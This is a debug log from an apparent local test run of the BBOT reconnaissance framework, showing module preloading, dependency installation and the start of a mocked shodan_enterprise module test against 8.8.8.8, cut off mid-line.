Preloading azure_tenant from disk -2026-03-02 08:52:52,844 [DEBUG] bbot.module_loader modules.py:154 Preloading virustotal from disk -2026-03-02 08:52:52,845 [DEBUG] bbot.module_loader modules.py:154 Preloading vhost from disk -2026-03-02 08:52:52,847 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_enterprise from disk -2026-03-02 08:52:52,848 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute from disk -2026-03-02 08:52:52,850 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_dns from disk -2026-03-02 08:52:52,851 [DEBUG] bbot.module_loader modules.py:154 Preloading ip2location from disk -2026-03-02 08:52:52,852 [DEBUG] bbot.module_loader modules.py:154 Preloading rapiddns from disk -2026-03-02 08:52:52,853 [DEBUG] bbot.module_loader modules.py:154 Preloading wpscan from disk -2026-03-02 08:52:52,856 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscommonsrv from disk -2026-03-02 08:52:52,857 [DEBUG] bbot.module_loader modules.py:154 Preloading passivetotal from disk -2026-03-02 08:52:52,858 [DEBUG] bbot.module_loader modules.py:154 Preloading ntlm from disk -2026-03-02 08:52:52,859 [DEBUG] bbot.module_loader modules.py:154 Preloading trickest from disk -2026-03-02 08:52:52,860 [DEBUG] bbot.module_loader modules.py:154 Preloading google_playstore from disk -2026-03-02 08:52:52,862 [DEBUG] bbot.module_loader modules.py:154 Preloading github_usersearch from disk -2026-03-02 08:52:52,863 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomainradar from disk -2026-03-02 08:52:52,865 [DEBUG] bbot.module_loader modules.py:154 Preloading dockerhub from disk -2026-03-02 08:52:52,866 [DEBUG] bbot.module_loader modules.py:154 Preloading medusa from disk -2026-03-02 08:52:52,868 [DEBUG] bbot.module_loader modules.py:154 Preloading digitorus from disk -2026-03-02 08:52:52,869 [DEBUG] bbot.module_loader modules.py:154 Preloading wafw00f from disk -2026-03-02 08:52:52,870 [DEBUG] bbot.module_loader modules.py:154 Preloading generic_ssrf from disk -2026-03-02 08:52:52,873 [DEBUG] bbot.module_loader modules.py:154 Preloading filedownload from disk -2026-03-02 08:52:52,877 [DEBUG] bbot.module_loader modules.py:154 Preloading chaos from disk -2026-03-02 08:52:52,879 [DEBUG] bbot.module_loader modules.py:154 Preloading httpx from disk -2026-03-02 08:52:52,881 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_zone from disk -2026-03-02 08:52:52,882 [DEBUG] bbot.module_loader modules.py:154 Preloading graphql_introspection from disk -2026-03-02 08:52:52,883 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_headers from disk -2026-03-02 08:52:52,887 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytrails from disk -2026-03-02 08:52:52,888 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_microsoft from disk -2026-03-02 08:52:52,889 [DEBUG] bbot.module_loader modules.py:154 Preloading viewdns from disk -2026-03-02 08:52:52,890 [DEBUG] bbot.module_loader modules.py:154 Preloading url_manipulation from disk -2026-03-02 08:52:52,892 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf_shortnames from disk -2026-03-02 08:52:52,896 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_ip from disk -2026-03-02 08:52:52,898 [DEBUG] bbot.module_loader modules.py:154 Preloading builtwith from disk -2026-03-02 08:52:52,900 [DEBUG] bbot.module_loader modules.py:154 Preloading certspotter from disk -2026-03-02 08:52:52,901 [DEBUG] bbot.module_loader modules.py:154 Preloading sslcert from disk -2026-03-02 08:52:52,903 [DEBUG] bbot.module_loader modules.py:154 Preloading gitdumper from disk -2026-03-02 08:52:52,905 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_idb from disk -2026-03-02 08:52:52,907 [DEBUG] bbot.module_loader modules.py:154 Preloading hackertarget from disk -2026-03-02 08:52:52,908 [DEBUG] bbot.module_loader modules.py:154 Preloading c99 from disk -2026-03-02 08:52:52,909 [DEBUG] bbot.module_loader modules.py:154 Preloading newsletters from disk -2026-03-02 08:52:52,910 [DEBUG] bbot.module_loader modules.py:154 Preloading apkpure from disk -2026-03-02 08:52:52,911 [DEBUG] bbot.module_loader modules.py:154 Preloading crt from disk -2026-03-02 08:52:52,912 [DEBUG] bbot.module_loader modules.py:154 Preloading postman_download from disk -2026-03-02 08:52:52,913 [DEBUG] bbot.module_loader modules.py:154 Preloading hunt from disk -2026-03-02 08:52:52,914 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf from disk -2026-03-02 08:52:52,917 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute_mutations from disk -2026-03-02 08:52:52,919 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_firebase from disk -2026-03-02 08:52:52,920 [DEBUG] bbot.module_loader modules.py:154 Preloading nuclei from disk -2026-03-02 08:52:52,924 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_dns from disk -2026-03-02 08:52:52,925 [DEBUG] bbot.module_loader modules.py:154 Preloading retirejs from disk -2026-03-02 08:52:52,928 [DEBUG] bbot.module_loader modules.py:154 Preloading git_clone from disk -2026-03-02 08:52:52,929 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_amazon from disk -2026-03-02 08:52:52,930 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_digitalocean from disk -2026-03-02 08:52:52,931 [DEBUG] bbot.module_loader modules.py:154 Preloading skymem from disk -2026-03-02 08:52:52,932 [DEBUG] bbot.module_loader modules.py:154 Preloading hunterio from disk -2026-03-02 08:52:52,933 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_cookies from disk -2026-03-02 08:52:52,934 [DEBUG] bbot.module_loader modules.py:154 Preloading postman from disk -2026-03-02 08:52:52,935 [DEBUG] bbot.module_loader modules.py:154 Preloading code_repository from disk -2026-03-02 08:52:52,936 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_com from disk -2026-03-02 08:52:52,937 [DEBUG] bbot.module_loader modules.py:154 Preloading dnstlsrpt from disk -2026-03-02 08:52:52,938 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns from disk -2026-03-02 08:52:52,940 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomaincenter from disk -2026-03-02 08:52:52,941 [DEBUG] bbot.module_loader modules.py:154 Preloading wayback from disk -2026-03-02 08:52:52,942 [DEBUG] bbot.module_loader modules.py:154 Preloading ipstack from disk -2026-03-02 08:52:52,943 [DEBUG] bbot.module_loader modules.py:154 Preloading emailformat from disk -2026-03-02 08:52:52,944 [DEBUG] bbot.module_loader modules.py:154 Preloading fingerprintx from disk -2026-03-02 08:52:52,945 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscaa from disk -2026-03-02 08:52:52,947 [DEBUG] bbot.module_loader modules.py:154 Preloading bypass403 from disk -2026-03-02 08:52:52,948 [DEBUG] bbot.module_loader modules.py:154 Preloading leakix from disk -2026-03-02 08:52:52,949 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_getparams from disk -2026-03-02 08:52:52,950 [DEBUG] bbot.module_loader modules.py:154 Preloading reflected_parameters from disk -2026-03-02 08:52:52,952 [DEBUG] bbot.module_loader modules.py:154 Preloading crt_db from disk -2026-03-02 08:52:52,952 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_file_enum from disk -2026-03-02 08:52:52,953 [DEBUG] bbot.module_loader modules.py:154 Preloading portscan from disk -2026-03-02 08:52:52,957 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_direct from disk -2026-03-02 08:52:52,958 [DEBUG] bbot.module_loader modules.py:154 Preloading ajaxpro from disk -2026-03-02 08:52:52,959 [DEBUG] bbot.module_loader modules.py:154 Preloading telerik from disk -2026-03-02 08:52:52,962 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbimi from disk -2026-03-02 08:52:52,964 [DEBUG] bbot.module_loader modules.py:154 Preloading aspnet_bin_exposure from disk -2026-03-02 08:52:52,965 [DEBUG] bbot.module_loader modules.py:154 Preloading otx from disk -2026-03-02 08:52:52,966 [DEBUG] bbot.module_loader modules.py:154 Preloading github_codesearch from disk -2026-03-02 08:52:52,967 [DEBUG] bbot.module_loader modules.py:154 Preloading dehashed from disk -2026-03-02 08:52:52,968 [DEBUG] bbot.module_loader modules.py:154 Preloading gowitness from disk -2026-03-02 08:52:52,972 [DEBUG] bbot.module_loader modules.py:154 Preloading docker_pull from disk -2026-03-02 08:52:52,974 [DEBUG] bbot.module_loader modules.py:154 Preloading ipneighbor from disk -2026-03-02 08:52:52,975 [DEBUG] bbot.module_loader modules.py:154 Preloading bufferoverrun from disk -2026-03-02 08:52:52,976 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_onprem from disk -2026-03-02 08:52:52,977 [DEBUG] bbot.module_loader modules.py:154 Preloading iis_shortnames from disk -2026-03-02 08:52:52,980 [DEBUG] bbot.module_loader modules.py:154 Preloading badsecrets from disk -2026-03-02 08:52:52,982 [DEBUG] bbot.module_loader modules.py:154 Preloading myssl from disk -2026-03-02 08:52:52,983 [DEBUG] bbot.module_loader modules.py:154 Preloading github_workflows from disk -2026-03-02 08:52:52,985 [DEBUG] bbot.module_loader modules.py:154 Preloading dotnetnuke from disk -2026-03-02 08:52:52,987 [DEBUG] bbot.module_loader modules.py:154 Preloading smuggler from disk -2026-03-02 08:52:52,988 [DEBUG] bbot.module_loader modules.py:154 Preloading robots from disk -2026-03-02 08:52:52,989 [DEBUG] bbot.module_loader modules.py:154 Preloading anubisdb from disk -2026-03-02 08:52:52,990 [DEBUG] bbot.module_loader modules.py:154 Preloading oauth from disk -2026-03-02 08:52:52,992 [DEBUG] bbot.module_loader modules.py:154 Preloading github_org from disk -2026-03-02 08:52:52,994 [DEBUG] bbot.module_loader modules.py:154 Preloading portfilter from disk -2026-03-02 08:52:52,995 [DEBUG] bbot.module_loader modules.py:154 Preloading sitedossier from disk -2026-03-02 08:52:52,996 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules -2026-03-02 08:52:52,997 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-02 08:52:52,998 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-02 08:52:52,998 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-02 08:52:52,999 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-02 08:52:53,000 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-02 08:52:53,001 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-02 08:52:53,001 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-02 08:52:53,005 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-02 08:52:53,005 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-02 08:52:53,006 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-02 08:52:53,007 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-02 08:52:53,008 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-02 08:52:53,008 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-02 08:52:53,009 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-02 08:52:53,010 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-02 08:52:53,010 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-02 08:52:53,011 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly -2026-03-02 08:52:53,011 [DEBUG] bbot.module_loader modules.py:154 Preloading legba from disk -2026-03-02 08:52:53,013 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output -2026-03-02 08:52:53,013 [DEBUG] bbot.module_loader modules.py:154 Preloading web_parameters from disk -2026-03-02 08:52:53,015 [DEBUG] bbot.module_loader modules.py:154 Preloading discord from disk -2026-03-02 08:52:53,016 [DEBUG] bbot.module_loader modules.py:154 Preloading emails from disk -2026-03-02 08:52:53,017 [DEBUG] bbot.module_loader modules.py:154 Preloading teams from disk -2026-03-02 08:52:53,018 [DEBUG] bbot.module_loader modules.py:154 Preloading txt from disk -2026-03-02 08:52:53,019 [DEBUG] bbot.module_loader modules.py:154 Preloading neo4j from disk -2026-03-02 08:52:53,021 [DEBUG] bbot.module_loader modules.py:154 Preloading asset_inventory from disk -2026-03-02 08:52:53,024 [DEBUG] bbot.module_loader modules.py:154 Preloading sqlite from disk -2026-03-02 08:52:53,025 [DEBUG] bbot.module_loader modules.py:154 Preloading web_report from disk -2026-03-02 08:52:53,026 [DEBUG] bbot.module_loader modules.py:154 Preloading http from disk -2026-03-02 08:52:53,028 [DEBUG] bbot.module_loader modules.py:154 Preloading csv from disk -2026-03-02 08:52:53,029 [DEBUG] bbot.module_loader modules.py:154 Preloading postgres from disk -2026-03-02 08:52:53,030 [DEBUG] bbot.module_loader modules.py:154 Preloading python from disk -2026-03-02 08:52:53,031 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomains from disk -2026-03-02 08:52:53,032 [DEBUG] bbot.module_loader modules.py:154 Preloading stdout from disk -2026-03-02 08:52:53,033 [DEBUG] bbot.module_loader modules.py:154 Preloading nmap_xml from disk -2026-03-02 08:52:53,035 [DEBUG] bbot.module_loader modules.py:154 Preloading json from disk -2026-03-02 08:52:53,036 [DEBUG] bbot.module_loader modules.py:154 Preloading slack from disk -2026-03-02 08:52:53,037 [DEBUG] bbot.module_loader modules.py:154 Preloading splunk from disk -2026-03-02 08:52:53,039 [DEBUG] bbot.module_loader modules.py:154 Preloading mysql from disk -2026-03-02 08:52:53,040 [DEBUG] bbot.module_loader modules.py:154 Preloading websocket from disk -2026-03-02 08:52:53,042 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal -2026-03-02 08:52:53,042 [DEBUG] bbot.module_loader modules.py:154 Preloading aggregate from disk -2026-03-02 08:52:53,043 [DEBUG] bbot.module_loader modules.py:154 Preloading cloudcheck from disk -2026-03-02 08:52:53,044 [DEBUG] bbot.module_loader modules.py:154 Preloading excavate from disk -2026-03-02 08:52:53,054 [DEBUG] bbot.module_loader modules.py:154 Preloading speculate from disk -2026-03-02 08:52:53,056 [DEBUG] bbot.module_loader modules.py:154 Preloading unarchive from disk -2026-03-02 08:52:53,057 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsresolve from disk -2026-03-02 08:52:53,060 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report -2026-03-02 08:52:53,061 [DEBUG] bbot.module_loader modules.py:154 Preloading asn from disk -2026-03-02 08:52:53,063 [DEBUG] bbot.module_loader modules.py:154 Preloading affiliates from disk -2026-03-02 08:52:54,123 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 08:52:54,124 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 08:52:54,124 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-02 08:52:54,229 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-02 08:52:54,648 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-02 08:52:54,649 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-02 08:52:54,649 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-02 08:52:54,649 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-02 08:52:54,793 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-02 08:52:54,795 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-02 08:52:54,904 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-02 08:52:54,905 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-02 08:52:54,932 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) -2026-03-02 08:52:54,937 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-02 08:52:54,937 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general -2026-03-02 08:52:55,976 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-02 08:52:55,976 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-02 08:53:04,565 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful -2026-03-02 08:53:04,565 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-02 08:53:04,566 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-02 08:53:08,765 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-02 08:53:08,766 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-02 08:53:08,770 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 08:53:08,770 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. -2026-03-02 08:53:08,770 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" -2026-03-02 08:53:08,771 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-02 08:53:08,773 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/j1yylz0v13h7wburc64y -2026-03-02 08:53:09,957 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) -2026-03-02 08:53:09,958 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-02 08:53:09,958 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 08:53:09,959 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-02 08:53:09,959 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 08:53:09,959 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-02 08:53:09,959 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 08:53:09,959 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-02 08:53:09,960 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise -2026-03-02 08:53:10,033 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" -2026-03-02 08:53:10,033 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-02 08:53:10,033 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive -2026-03-02 08:53:10,035 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" -2026-03-02 08:53:10,036 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" -2026-03-02 08:53:10,036 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-02 08:53:10,036 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python -2026-03-02 08:53:10,037 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" -2026-03-02 08:53:10,037 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-02 08:53:10,038 [VERBOSE] bbot.scanner logger.py:151 Setting up modules -2026-03-02 08:53:10,038 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-02 08:53:10,038 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-02 08:53:10,038 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-02 08:53:10,039 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-02 08:53:10,039 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-02 08:53:10,039 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-02 08:53:10,039 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-02 08:53:10,039 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-02 08:53:10,040 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-02 08:53:10,040 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-02 08:53:10,040 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-02 08:53:10,040 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-02 08:53:10,040 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-02 08:53:10,041 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-02 08:53:10,041 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-02 08:53:10,041 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-02 08:53:10,041 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-02 08:53:10,041 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-02 08:53:10,041 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-02 08:53:10,042 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-02 08:53:10,042 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-02 08:53:10,042 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-02 08:53:10,042 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-02 08:53:10,042 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-02 08:53:10,043 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-02 08:53:10,043 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-02 08:53:10,043 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-02 08:53:10,043 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-02 08:53:10,043 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-02 08:53:10,044 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-02 08:53:10,044 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-02 08:53:10,044 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-02 08:53:10,044 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. -2026-03-02 08:53:10,044 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-02 08:53:10,045 [DEBUG] bbot base.py:111 Starting scan -2026-03-02 08:53:10,128 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_mme5eu3wjs -2026-03-02 08:53:10,128 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops -2026-03-02 08:53:10,194 [VERBOSE] bbot.scanner logger.py:151 6 modules started -2026-03-02 08:53:10,194 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-02 08:53:10,194 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-02 08:53:10,195 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-03-02 08:53:10,296 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check -2026-03-02 08:53:10,296 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-03-02 08:53:10,297 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target -2026-03-02 08:53:10,298 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-02 08:53:10,299 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 08:53:10,300 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 08:53:10,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-02 08:53:10,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-02 08:53:10,302 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 08:53:10,302 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 